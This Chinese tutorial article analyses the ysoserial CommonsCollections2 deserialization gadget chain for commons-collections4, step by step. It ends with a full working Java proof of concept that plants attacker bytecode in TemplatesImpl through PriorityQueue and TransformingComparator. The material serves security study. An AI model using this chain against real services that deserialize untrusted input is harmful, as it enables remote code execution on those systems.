Java安全 ysoserial CommonsCollections2示例分析
正文
在最后一步的實(shí)現(xiàn)上,cc2和cc3一樣,最終都是通過TemplatesImpl惡意字節(jié)碼文件動(dòng)態(tài)加載方式實(shí)現(xiàn)反序列化。
已知的TemplatesImpl->newTransformer()是最終要執(zhí)行的。
TemplatesImpl類動(dòng)態(tài)加載方式的實(shí)現(xiàn)分析見ysoserial CommonsCollections3 分析中的一、二部分。
TemplatesImpl->newTransformer()的調(diào)用通過InvokerTransformer.transform()反射機(jī)制實(shí)現(xiàn),這里可以看ysoserial CommonsCollections1 分析中的前半部分內(nèi)容。
cc2 commons-collections4版本利用鏈
cc2是針對(duì)commons-collections4版本,利用鏈如下:
/* Gadget chain: ObjectInputStream.readObject() PriorityQueue.readObject() ... TransformingComparator.compare() InvokerTransformer.transform() Method.invoke() Runtime.exec() */
InvokerTransformer.transform()利用
所以在InvokerTransformer.transform()之后的利用如下:
public class CC2Test2 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Field name = templates_cl.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"xxx");
Field transletIndex = templates_cl.getDeclaredField("_transletIndex");
transletIndex.setAccessible(true);
transletIndex.set(templates,0);
byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\Runtimecalc.class"));
byte[][] codes = [code];
//給_bytecodes賦值
Field bytecodes = templates_cl.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,codes);
//要順利執(zhí)行,_tfactory得賦值,因?yàn)閐efineTransletClasses中調(diào)用了_tfactory的getExternalExtensionsMap
//_tfactorys是TransformerFactoryImpl類型的
TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();
Field tfactory = templates_cl.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,transformerFactory);
InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
transformer.transform(templates);
}
}
InvokerTransformer.transform()的調(diào)用
TransformingComparator的compare,實(shí)現(xiàn)了對(duì)屬性this.transformer的transform調(diào)用,這里可以通過TransformingComparator構(gòu)造方法為該屬性賦值。
public class TransformingComparator<I, O> implements Comparator<I>, Serializable {
private static final long serialVersionUID = 3456940356043606220L;
private final Comparator<O> decorated;
private final Transformer<? super I, ? extends O> transformer;
public TransformingComparator(Transformer<? super I, ? extends O> transformer) {
this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
}
public TransformingComparator(Transformer<? super I, ? extends O> transformer, Comparator<O> decorated) {
this.decorated = decorated;
this.transformer = transformer;
}
public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
}
通過compare的調(diào)用
InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
TransformingComparator transformingComparator = new TransformingComparator(transformer);
transformingComparator.compare(null,templates);
TransformingComparator.compare()的調(diào)用
PriorityQueue類中的readobject()調(diào)用了heapify(),heapify()中調(diào)用了siftDown(),siftDown()調(diào)用了siftDownUsingComparator(),siftDownUsingComparator()方法實(shí)現(xiàn)了comparator.compare()調(diào)用。
那么只要將transformingComparator對(duì)象賦值給comparator,可以通過反射,也可以通過構(gòu)造方法,這里通過構(gòu)造方法,且initialCapacity不能小于1。
public PriorityQueue(int initialCapacity,
Comparator<? super E> comparator) {
// Note: This restriction of at least one is not actually needed,
// but continues for 1.5 compatibility
if (initialCapacity < 1)
throw new IllegalArgumentException();
this.queue = new Object[initialCapacity];
this.comparator = comparator;
}
由于comparator.compare()中的參數(shù)來自queue,所以需要將templates賦值給queue。
InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator);
priorityQueue.add(1);
priorityQueue.add(templates);
但是由于在priorityQueue.add()方法中會(huì)調(diào)用siftUp()->siftUpUsingComparator()->comparator.compare()。
priorityQueue.add()中帶入的參數(shù)對(duì)象如果不存在newTransformer方法將報(bào)錯(cuò),另外使用templates作為參數(shù),又會(huì)導(dǎo)致在序列化過程構(gòu)造惡意對(duì)象的時(shí)候得到執(zhí)行。所以這里先用toString()方法代替,后通過反射方式修改this.iMethodName屬性。
TransformingComparator transformingComparator = new TransformingComparator(transformer);
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
iMethodName.setAccessible(true);
iMethodName.set(transformer,"newTransformer");
queue屬性賦值
transient queue無(wú)法序列化,但在PriorityQueue的writeobject()、readobject中對(duì)queue做了重寫,實(shí)現(xiàn)序列化和反序列化。
private void writeObject(java.io.ObjectOutputStream s)
throws java.io.IOException {
//略
for (int i = 0; i < size; i++)
s.writeObject(queue[i]);
}
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
//略
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
heapify();
}
通過反射修改queues[0],利用如下:
TransformingComparator transformingComparator = new TransformingComparator(transformer);
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
iMethodName.setAccessible(true);
iMethodName.set(transformer,"newTransformer");
Field queue = priorityQueue.getClass().getDeclaredField("queue");
queue.setAccessible(true);
Object[] queues = (Object[]) queue.get(priorityQueue);
queues[0] = templates;
//這里得替換queues[0]
//如果queues[0]依舊保留使用Integer,會(huì)因?yàn)闊o(wú)法找到newTransformer報(bào)錯(cuò)。
最終完整利用實(shí)現(xiàn)
public class CC2Test2 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Field name = templates_cl.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"xxx");
Field transletIndex = templates_cl.getDeclaredField("_transletIndex");
transletIndex.setAccessible(true);
transletIndex.set(templates,0);
byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\Runtimecalc.class"));
byte[][] codes = [code];
//給_bytecodes賦值
Field bytecodes = templates_cl.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,codes);
//要順利執(zhí)行,_tfactory得賦值,因?yàn)閐efineTransletClasses中調(diào)用了_tfactory的getExternalExtensionsMap
//_tfactorys是TransformerFactoryImpl類型的
TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();
Field tfactory = templates_cl.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,transformerFactory);
InvokerTransformer transformer = new InvokerTransformer("toString", null, null);
TransformingComparator transformingComparator = new TransformingComparator(transformer);
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
iMethodName.setAccessible(true);
iMethodName.set(transformer,"newTransformer");
Field queue = priorityQueue.getClass().getDeclaredField("queue");
queue.setAccessible(true);
Object[] queues = (Object[]) queue.get(priorityQueue);
queues[0] = templates;
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc2.ser"));
objectOutputStream.writeObject(priorityQueue);
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc2.ser"));
objectInputStream.readObject();
}
}

以上就是Java安全 ysoserial CommonsCollections2示例分析的詳細(xì)內(nèi)容,更多關(guān)于Java ysoserial CommonsCollections的資料請(qǐng)關(guān)注腳本之家其它相關(guān)文章!
相關(guān)文章
SpringBoot+JSON+AJAX+ECharts+Fiddler實(shí)現(xiàn)前后端分離開發(fā)可視化
這篇文章主要介紹了SpringBoot+JSON+AJAX+ECharts+Fiddler實(shí)現(xiàn)前后端分離開發(fā)可視化,文中通過示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2022-06-06
springboot開啟mybatis駝峰命名自動(dòng)映射的三種方式
這篇文章給大家總結(jié)springboot開啟mybatis駝峰命名自動(dòng)映射的三種方式,文章并通過代碼示例給大家介紹的非常詳細(xì),具有一定的參考價(jià)值,需要的朋友可以參考下2024-02-02
使用Java應(yīng)用程序添加或刪除 PDF 中的附件
當(dāng)我們?cè)谥谱鱌DF文件或者PPT演示文稿的時(shí)候,為了讓自己的文件更全面詳細(xì),就會(huì)在文件中添加附件,那么如何添加或刪除PDF中的附件呢,今天通過本文給大家詳細(xì)講解,需要的朋友參考下吧2023-01-01
SpringCloud服務(wù)實(shí)現(xiàn)同時(shí)使用eureka和nacos方法
這篇文章主要介紹了SpringCloud服務(wù)實(shí)現(xiàn)同時(shí)使用eureka和nacos方法,文中通過示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)吧2023-01-01
spring boot動(dòng)態(tài)加載Echart餅狀圖
這篇文章主要為大家詳細(xì)介紹了spring boot動(dòng)態(tài)加載Echart餅狀圖,文中示例代碼介紹的非常詳細(xì),具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下2019-12-12
java實(shí)現(xiàn)切圖并且判斷圖片是不是純色/彩色圖片
本篇文章主要介紹了java實(shí)現(xiàn)切圖并且判斷圖片是否是純色/彩色圖片,具有一定的參考價(jià)值,有興趣的可以了解一下2017-08-08
Spring Boot學(xué)習(xí)入門之統(tǒng)一異常處理詳解
我們?cè)谧鯳eb應(yīng)用的時(shí)候,請(qǐng)求處理過程中發(fā)生錯(cuò)誤是非常常見的情況。下面這篇文章主要給大家介紹了關(guān)于Spring Boot學(xué)習(xí)入門之統(tǒng)一異常處理的相關(guān)資料,文中通過示例代碼介紹的非常詳細(xì),需要的朋友可以參考下。2017-09-09
Springboot整合Swagger2和Swagger3全過程
這篇文章主要介紹了Springboot整合Swagger2和Swagger3全過程,具有很好的參考價(jià)值,希望對(duì)大家有所幫助,如有錯(cuò)誤或未考慮完全的地方,望不吝賜教2024-07-07

